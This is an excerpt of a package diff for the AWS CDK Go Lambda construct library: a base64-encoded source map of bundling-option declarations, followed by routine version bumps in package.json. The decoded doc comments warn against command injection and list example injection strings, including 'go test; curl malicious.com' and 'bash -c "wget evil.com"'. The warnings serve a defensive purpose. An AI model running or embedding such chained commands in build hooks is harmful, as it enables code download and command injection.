IERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogVGhlc2UgZmxhZ3MgYXJlIHBhc3NlZCBkaXJlY3RseSB0byB0aGUgR28gYnVpbGQgY29tbWFuZC5cbiAgICogT25seSB1c2UgdHJ1c3RlZCB2YWx1ZXMgYXMgdGhleSBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLlxuICAgKiBBdm9pZCBmbGFncyBsaWtlIGAtdG9vbGV4ZWNgIHdpdGggdW50cnVzdGVkIGFyZ3VtZW50cywgYW5kIGJlIGNhdXRpb3VzIHdpdGhcbiAgICogdGhpcmQtcGFydHkgQ0RLIGNvbnN0cnVjdHMgdGhhdCBtYXkgY29udGFpbiBtYWxpY2lvdXMgYnVpbGQgZmxhZ3MuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgZnJvbSB2ZXJpZmllZCBzb3VyY2VzLiBBdm9pZCBzaGVsbCBtZXRhY2hhcmFjdGVyc1xuICAgKiB0aGF0IGNvdWxkIGVuYWJsZSBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIOKaoO+4jyAqKlNlY3VyaXR5IFdhcm5pbmcqKjogQ29tbWFuZHMgYXJlIGV4ZWN1dGVkIGRpcmVjdGx5IGluIHRoZSBzaGVsbCBlbnZpcm9ubWVudC5cbiAqIE9ubHkgdXNlIHRydXN0ZWQgY29tbWFuZHMgYW5kIGF2b2lkIHNoZWxsIG1ldGFjaGFyYWN0ZXJzIHRoYXQgY291bGQgZW5hYmxlXG4gKiBjb21tYW5kIGluamVjdGlvbiBhdHRhY2tzLlxuICpcbiAqICoqU2FmZSBwYXR0ZXJucyAoY3Jvc3MtcGxhdGZvcm0pOioqXG4gKiAtIGBnbyB0ZXN0IC4vLi4uYCAtIFN0YW5kYXJkIEdvIGNvbW1hbmRzIHdvcmsgb24gYWxsIHBsYXRmb3Jtc1xuICogLSBgZ28gbW9kIHRpZHlgIC0gR28gbW9kdWxlIGNvbW1hbmRzXG4gKiAtIGBlY2hvIFwiQnVpbGRpbmdcImAgLSBTaW1wbGUgb3V0cHV0IHdpdGggcXVvdGVzXG4gKiAtIGBtYWtlIGNsZWFuYCAtIEJ1aWxkIHRvb2xzIChpZiBhdmFpbGFibGUpXG4gKlxuICogKipEYW5nZXJvdXMgcGF0dGVybnMgdG8gYXZvaWQ6KipcbiAqXG4gKiAqV2luZG93czoqXG4gKiAtIGBnbyB0ZXN0ICYgY3VybC5leGUgbWFsaWNpb3VzLmNvbWAgKGNvbW1hbmQgY2hhaW5pbmcpXG4gKiAtIGBlY2hvICVVU0VSUFJPRklMRSVgIChlbnZpcm9ubWVudCB2YXJpYWJsZSBleHBhbnNpb24pXG4gKiAtIGBwb3dlcnNoZWxsIC1Db21tYW5kIFwiLi4uXCJgIChQb3dlclNoZWxsIGV4ZWN1dGlvbilcbiAqXG4gKiAqVW5peC9MaW51eC9tYWNPUzoqXG4gKiAtIGBnbyB0ZXN0OyBjdXJsIG1hbGljaW91cy5jb21gIChjb21tYW5kIGNoYWluaW5nKVxuICogLSBgZWNobyAkKHdob2FtaSlgIChjb21tYW5kIHN1YnN0aXR1dGlvbilcbiAqIC0gYGJhc2ggLWMgXCJ3Z2V0IGV2aWwuY29tXCJgIChzaGVsbCBleGVjdXRpb24pXG4gKlxuICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICpcbiAqIEBzZWUgaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbFxuICovXG5leHBvcnQgaW50ZXJmYWNlIElDb21tYW5kSG9va3Mge1xuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYmVmb3JlIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGJlZm9yZUJ1bmRsaW5nKGlucHV0RGlyOiBzdHJpbmcsIG91dHB1dERpcjogc3RyaW5nKTogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGFmdGVyIGJ1bmRsaW5nLlxuICAgKlxuICAgKiDimqDvuI8gKipTZWN1cml0eSBXYXJuaW5nKio6IEVuc3VyZSBjb21tYW5kcyBjb21lIGZyb20gdHJ1c3RlZCBzb3VyY2VzIG9ubHkuXG4gICAqIENvbW1hbmRzIGFyZSBleGVjdXRlZCBkaXJlY3RseSBpbiB0aGUgc2hlbGwgZW52aXJvbm1lbnQuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@aws-cdk/aws-lambda-go-alpha",
-  "version": "2.221.1-alpha.0",
+  "version": "2.223.0-alpha.0",
   "description": "The CDK Construct Library for AWS Lambda in Golang",
   "main": "lib/index.js",
   "types": "lib/index.d.ts",
@@ -78,18 +78,18 @@
   },
   "license": "Apache-2.0",
   "devDependencies": {
-    "@aws-cdk/cdk-build-tools": "2.221.1-alpha.0",
+    "@aws-cdk/cdk-build-tools": "2.223.0-alpha.0",
     "@aws-cdk/integ-runner": "^2.190.2",
-    "@aws-cdk/integ-tests-alpha": "2.221.1-alpha.0",
-    "@aws-cdk/pkglint": "2.221.1-alpha.0",
+    "@aws-cdk/integ-tests-alpha": "2.223.0-alpha.0",
+    "@aws-cdk/pkglint": "2.223.0-alpha.0",
     "@types/jest": "^29.5.14",
-    "aws-cdk-lib": "2.221.1",
+    "aws-cdk-lib": "2.223.0",
     "constructs": "^10.0.0"
   },
   "dependencies": {},
   "homepage": "https://github.com/aws/aws-cdk",
   "peerDependencies": {
-    "aws-cdk-lib": "^2.221.1",
+    "aws-cdk-lib": "^2.223.0",
     "constructs": "^10.0.0"
   },
   "engines": {